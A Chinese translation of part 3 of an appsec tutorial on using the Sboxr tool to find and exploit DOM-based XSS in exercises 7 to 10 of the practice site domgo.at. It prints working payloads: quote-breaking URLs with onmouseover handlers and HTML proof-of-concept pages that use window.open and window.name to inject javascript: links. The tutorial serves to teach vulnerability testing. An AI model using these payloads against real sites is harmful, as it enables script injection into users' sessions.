利用Sboxr自动发现和利用DOM型XSS-Part 3

iso60001  1850天前

22.png

Part 1 —— https://nosec.org/home/detail/2421.html

Part 2 —— https://nosec.org/home/detail/2426.html

大家好,这是关于利用Sboxr自动挖掘DOM型XSS的第三部分。在这篇文章中我将继续讲述我所搭建的XSS演示网站https://domgo.at的最后4个练习(练习 7到练习 10)。通过利用Sboxr,我可以自动化挖掘出这四个练习中隐藏的DOM型XSS漏洞。

我将详细讲述Sboxr的利用方法和漏洞发现流程,展示一个简单的PoC。如果你想了解更多关于安全方面的信息,欢迎光临我的gitbook,https://appsecco.com/books/

练习 7

在本练习中,可控制的数据源是location.hash。但是,数据在被接收器HTMLElement.innerHTML接受之前会经过某种处理。

1.单击Exercise 7,请注意URL中的#后的值。

2.在Sboxr的Code Execution窗口中查看从输入源到接收器的数据流。

33.png

3.我们可以确切地看到location.hash数据是如何处理的,方便我们构建PoC。

4.JS会把从location.hash获得的值中的HTML标签进行实体编码,例如把<转换为&lt;。最后附加在<a href='#user=之后,具体流程如下。

44.png

5.最后,数据经过安全处理出现网页中,和<a形成搭配。

55.png

6.以上是XSS漏洞的一个经典场景,你可以在此处阅读更多内容。

7.为了创建exploit,我们需要闭合引号,并配合使用HTML事件(例如onmouseover或onclick等),以此来触发JS。

8.最后的利用代码:https://domgo.at/cxss/example/7#abcd'%20onmouseover=alert(document.domain)%20a='

66.png

练习 8

此练习与练习 7大部分相同,唯一的区别就是JS会检查location.hash是否包含键值对(即包含=字符的字符串)。

1.如果我们通过Sboxr查看JS,可以注意到通过location.hash传递的字符串会在第一个=处被分隔,而字符串分隔后的后端部分会按照上个练习一样经过安全过滤后传递给接收器。

77.png

2.在这种情况下,利用代码为:https://domgo.at/cxss/example/8#anyrandomstring=hawkeye'%20onmouseover=alert(document.domain)%20a='

练习 9

此演习涉及两个数据源location.hashwindow.name,输入的数据会先经过安全处理,然后再发送到HTMLElement.innerHTML接收器。

1.单击Exercise 9,此时你会注意到URL中包含#user=12345

2.此练习下有两个数据源。最终数据会被发送到接收器HTMLElement.innerHTML

88.png

3.从数据传递流程来看,location.hash的数据先基于=符号分隔,然后前10个字符附加到window.name。此外,任何引号再附加之前都会进行实体编码转换。

99.png

4.基于以上流程,PoC的编写要注意:

  • 可利用location.hash传递10个字符,但不能有双引号

  • 利用window.name传递一部分利用代码,和location.hash传递的数据组合使用

  • 虽然我们不能突破href,但我们可以使用javascript:来触发我们的代码

  • PoC的关键代码为javascript:alert(document.domain)

5.创建包含以下代码的HTML页面,将其托管在本地服务器上,并在浏览器中打开它。

<html>
    <body onload=exploit()>
        <h2>PoC for Exercise 9 of https://domgo.at</h2>
        <script>
            function exploit() {
                var win = window.open("https://domgo.at/cxss/example/9#a=javascript", ":alert(document.domain)", "");
            }
        </script>
    </body>
</html>

6.大多数现代浏览器现在可能会拦截新的窗口,如果想绕过,可以修改PoC以用户互动的方式(如鼠标点击)触发window.open事件。

<html>
    <body>
        <h2>PoC for Exercise 9 of https://domgo.at</h2>
        <label onclick="exploit()">Click me for solution to Exercise 9</label>
        <script>
            function exploit() {
                var win = window.open("https://domgo.at/cxss/example/9#a=javascript", ":alert(document.domain)", "");
            }
        </script>
    </body>
</html>

7.最后启动新窗口后,一旦点击Welcome,就会出现弹框。

100.png

练习 10

与练习9较为类似,但JS的逻辑有很大的不同,仅当满足JS中的某些限制时,接收器才会接受我们的恶意数据,手动测试时非常容易错过这种漏洞。

在本练习中,我们还是通过两个来源获得数据,location.href和并在window.name

客户端JS中存在各种限制条件,这可能会使创建PoC变得有点困难。此练习将展示如何检测限制条件以更好地绕过。

1.我们先查看来自数据的流动,可以看到location.href的数据和window.name的数据附加在一起。

110.png

2.window.name里的数据可以通过window.open()进行设置。在本地服务器放上以下内容的HTML文件,并在浏览器中打开它。允许浏览器弹出窗口。

<html>
<body onload=exploit()>
    <h2>PoC for Exercise 10 of https://domgo.at</h2>
    <script>
        function exploit() {
            var win = window.open("https://domgo.at/cxss/example/10?lang=en&user=ID-12345&returnurl=/", ":alert(document.domain)", "");
        }
    </script>
</body>
</html>

3.在代码执行细节的窗口中,我们可以看到来自location.href的数据在拆分后再次选取了ID-之后的数据,接着再进行引号过滤,和window.name的值附加到一起。

120.png

4.我们的例子中自带了ID-,所以过滤逻辑看起来比较清晰,但实际情况可能并非如此。单击.substr(),你可以看到其中的具体源码。

130.png

5.根据我们现在的情况,要利用漏洞只需在某个页面窗口自动跳转到https://domgo.at/cxss/example/10?lang=en&user=ID-javascript&returnurl=/,然后单击welcome即可。

140.png

结论

Sboxr是一个非常强大的工具,可以与其他Web应用攻击工具(如Burp和ZAP)结合使用,尤其是在应对有大量JS代码的应用时,效果更加显著。应用前端的数据流动会以精准且简洁的方式显示出来,帮助你更好的理解运行逻辑。

使用该工具,完成https://domgo.at上10个练习,也许会帮助你更好的理解DOM型XSS漏洞。

参考

  1. Sboxr——https://sboxr.com

  2. HTML Entities——https://dev.w3.org/html5/html-author/charref

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://blog.appsecco.com/automating-discovery-and-exploiting-dom-client-xss-vulnerabilities-using-sboxr-part-3-2ea910dfb429

最新评论

昵称
邮箱
提交评论